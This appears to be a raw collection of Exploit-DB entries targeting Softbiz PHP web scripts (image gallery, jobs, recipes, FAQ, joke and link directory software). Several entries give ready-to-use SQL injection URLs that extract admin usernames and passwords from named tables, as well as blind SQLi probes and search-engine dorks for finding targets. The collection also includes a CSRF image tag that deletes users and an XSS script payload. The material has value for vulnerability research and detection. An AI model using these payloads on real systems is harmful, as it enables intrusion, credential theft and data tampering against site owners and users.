deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32171
Description: Softbiz Image Gallery - 'images.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-05
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30546/info
 
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/images.php?latest=[XSS]
http://www.example.com/images.php?msg=[XSS]
Exploit-DB #27546
Description: SoftBiz Image Gallery - 'images.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17339/info
    
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
    
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/images.php?cid=[SQL]
Exploit-DB #32173
Description: Softbiz Image Gallery - 'image_desc.php?latest' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-08-05
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30546/info
   
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/image_desc.php?latest=[XSS]
http://www.example.com/image_desc.php?msg=[XSS]
Exploit-DB #32170
Description: Softbiz Image Gallery - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-05
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30546/info

Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/index.php?latest=[XSS]
http://www.example.com/index.php?msg=[XSS]
Exploit-DB #27545
Description: SoftBiz Image Gallery - 'insert_rating.php?img_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17339/info
   
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
   
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/insert_rating.php?img_id=[sql]
Exploit-DB #27542
Description: SoftBiz Image Gallery - 'mage_desc.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-03-31
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17339/info

Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/image_desc.php?id=[SQL]
Exploit-DB #32172
Description: Softbiz Image Gallery - 'suggest_image.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-08-05
Author: sl4xUz

Exploit:
source: https://www.securityfocus.com/bid/30546/info
  
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/suggest_image.php?latest=[XSS]
http://www.example.com/suggest_image.php?msg=[XSS]
Exploit-DB #27544
Description: SoftBiz Image Gallery - 'suggest_image.php?cid' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17339/info
  
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
  
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/suggest_image.php?cid=[SQL]
Exploit-DB #27543
Description: SoftBiz Image Gallery - 'template.php?provided' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-31
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17339/info
 
Softbiz Image Gallery is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/imagegallery/template.php?provided=[SQL]
Exploit-DB #4504
Description: Softbiz Jobs & Recruitment - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-08
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####              Softbiz Jobs & Recruitment Script SQL INJECTION                ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" "ALL JOBS"                                       #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://site.com/browsecats.php?cid=[sql cod]                    #
#Sql code For see user name : 999999%20union/**/select/**/0,sb_admin_name,2,3/**/from/**/sbjbs_admin/*
#Sql code For see [CREDENTIAL_REDACTED]/**/select/**/0,sb_pwd,2,3/**/from/**/sbjbs_admin/*
#                                                                                   #
#Admin panel for login : http://site.com/admin/index.php                            #
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-10-08]
Exploit-DB #11518
Description: Softbiz Jobs - 'news_desc' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-22
Author: BAYBORA

Exploit:
Softbiz Jobs ( news_desc) SQL Injection Vulnerability

########################### 
Author    : Baybora

Homepage  : http://www.1923turk.com 

Blog      : http://baybora.wordpress.com/

Script    : softbizscripts

Download  : http://www.softbizscripts.com/

########################### 
  
Exploat  :news_desc.php?id=SQL 
   

-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--
  
  
  
http://server/news_desc.php?id=-4+union+select+1,concat(username,0x3a,password),3,4,5+from+sblnk_admin--
  
 
http://xxxx/admin
 
  
##############################################################  
# Greetz: Manas58 - Gamoscu - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO  
##############################################################
Exploit-DB #33665
Description: Softbiz Jobs - 'sbad_type' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-23
Author: pratul agrawal

Exploit:
source: https://www.securityfocus.com/bid/38383/info

Softbiz Jobs is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

htpp://www.example.com/scripts/seojobs/admin/addad.php?sbad_type="><script>alert(123)</script>
Exploit-DB #11543
Description: Softbiz Jobs - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-02-23
Author: pratul agrawal

Exploit:
                     =======================================================================
 
                                         Softbiz Jobs CSRF Vulnerability
                     =======================================================================
 
                                                     by
 
                                               Pratul Agrawal
 
 
# Vulnerability found in- Admin module
 
# email         Pratulag@yahoo.com
 
# company       aksitservices
 
# Credit by     Pratul Agrawal

# Download      http://www.softbizscripts.com/

# Script        softbizscripts

 
 
# Proof of concept

Script to delete the registered user through Cross Site request forgery

             ...................................................................................................................

                        <html>

                          <body>

                              <img src=http://server/scripts/seojobs/admin/delete_employer.php?id=[USER ID] /> 

                          </body>

                        </html>


             ...................................................................................................................



After execution refresh teh page and u can see that user having id=20 get deleted automatically.

 
#If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #11679
Description: Softbiz Jobs and Recruitment Script - 'search_result.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-10
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Softbiz Jobs & Recruitment Script SQL INJECTION search_result.php
+Autor : Easy Laster
+Date   : 10.03.2010
+Script  : Softbiz Jobs & Recruitment Script
+Price : 129$
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : http://www.site.com/sbjbs/search_result.php?cid=
+Exploitable   : http://www.site.com/sbjbs/search_result.php?cid=9999999+union+select+1
,concat(sb_admin_name,0x3a,sb_pwd),3,4+from+sbjbs_admin#
-----------------------------------------------------------------------------------------
Exploit-DB #31294
Description: Softbiz Jokes and Funny Pictures Script - 'sbcat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-25
Author: -=Mizo=-

Exploit:
source: https://www.securityfocus.com/bid/27973/info

The Jokes and Funny Pictures script from Softbiz is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?sbcat_id=-1 union select 0,1,2,concat(sbadmin_name,0x3a,sbadmin_pwd),4,5,6,7,8,9 from sbjks_admin/*
Exploit-DB #4620
Description: Softbiz Link Directory Script - SQL Injection
Type: webapps
Platform: php
Date: 2007-11-11
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                   Links Directory Script SQL INJECTION                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" "OUR SPONSORS"                                   #
#                                                                                   #
#####################################################################################
#                                                                                   #
#Injection Adress : http://server.com/searchresult.php?sbcat_id=<SQL C0de>          #
#                                                                                   #
#SQL C0de For Find admin Username : 999999%20union/**/select/**/0,username,2,3/**/from/**/sblnk_admin/*
#SQL C0de For Find admin [CREDENTIAL_REDACTED]/**/select/**/0,password,2,3/**/from/**/sblnk_admin/*
#                                                                                   #
#####################################################################################
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-11-11]
Exploit-DB #13991
Description: Softbiz PHP FAQ Script - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: Sangteamtham

Exploit:
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$  Softbiz PHP FAQ Script Blind SQL Vulnerability                             $
$  Author : Sangteamtham                                                                    $
$  Home  : Hcegroup.net & vnbrain.net                                                 $
$  Download :http://www.softbizscripts.com/FAQ-script-features.php   $
$                   					           $
$***********************************************************
$
$ check version : http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=4 
$                        http://server.com/fag/print_article.php?id=[id number]+and substring(version(),1,1)=5
$                        http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/*  
$                        http://server.com/fag/print_article.php?id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/*
$  note: password_column,username_column,admin_info_table depend on the database installed
$***********************************************************
$ Demo: 
$ In the demo site : 
$ 
$ Exploit:http://server/faq/print_article.php?id=5+and substring(version(),1,1)=5 
$ 
$ MySQL version: 5.0.81-community
$ User: softbiz_kuber@localhost
$ Dataabase: softbiz_faq
Exploit-DB #15752
Description: Softbiz PHP Joke Site Software - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-12-17
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
  Softbiz PHP Joke Site Software Multiple SQL injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: December, 18-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: PHP Joke Site Software
Price		: $29
Vendor  	: http://www.softbizsolutions.com/

Exploit & p0c
_____________

**[SQLi]
http://site/[path]/popup.php?sbpic_id=[SQLi]
http://site/[path]/popup.php?sbpic_id=-9999+union+all+select+1,2,3,version(),5,6,7,8,9,10,11--

**[Blind SQLi]
http://site/[path]/index.php?sbcat_id=[Blind SQLi]
http://site/[path]/index.php?sbcat_id=6+and+substring(version(),1,1)=5  << true
http://site/[path]/index.php?sbcat_id=6+and+substring(version(),1,1)=4  << false

_______________________________________

All YOGYACARDERLINK CREW & Jovita Andy
_______________________________________
Exploit-DB #11576
Description: Softbiz Recipes Portal Script - 'showcats.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-25
Author: Easy Laster

Exploit:
----------------------------Information------------------------------------------------
+Name : Softbiz Recipes Portal Script SQL Injection showcats.php
+Autor : Easy Laster
+Date   : 25.02.2010 
+Script  : Softbiz Recipes Portal Script
+Price : 99$
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Damian.
---------------------------------------------------------------------------------------
                                                                                     
 ___ ___ ___ ___                         _ _           _____           _         _   
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_ 
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|  
                                              |___|                 |___|            


----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/auktionscript/showcats.php?sbcat_id=
+Exploitable   : http://server/showcats.php?sbcat_id=1+union+select+1,
concat(username,0x3a,password),3,4+from+sblnk_admin


The Password save in Plaintext you must login in www.site.com/auktionscript/admin/
-----------------------------------------------------------------------------------------
Exploit-DB #36032
Description: Softbiz Recipes Portal Script - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-05
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/49051/info

Softbiz Recipes Portal script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[path]/admin/index.php?msg=[XSS]
http://www.example.com/[path]/signinform.php?id=0&return_add=/caregivers/index.php&errmsg=[XSS]
http://www.example.com/[path]/signinform.php?errmsg=[XSS]
http://www.example.com/[path]/msg_confirm_mem.php?errmsg=[XSS]
Exploit-DB #4527
Description: Softbiz Recipes Portal Script - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-13
Author: Khashayar Fereidani

Exploit:
################################IN THE NAME OF GOD###################################
####                    Recipes Portal Script SQL INJECTION                      ####
####                              BY IRCRASH                                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : IRCRASH (Dr.Crash)                                                        #
#Script Download : http://www.softbizscripts.com/                                   #
#DORK: "Powered by SoftbizScripts" inurl:"searchresult.php?sbcat_id="               #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#Injection Adress : http://Site.com/searchresult.php?sbcat_id=[sql code]            #
#SQL COD : 999999%20union/**/select/**/0,sbadmin_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,sbadmin_pwd,17,18,19,20,21,22/**/from/**/sbrecipe_admin/*
#                                                                                   #
#Our site : Ircrash.com                                                             #
#                                                                                   #
#                                                                                   #
#                                 TNX : GOD                                         #
#####################################################################################

# milw0rm.com [2007-10-13]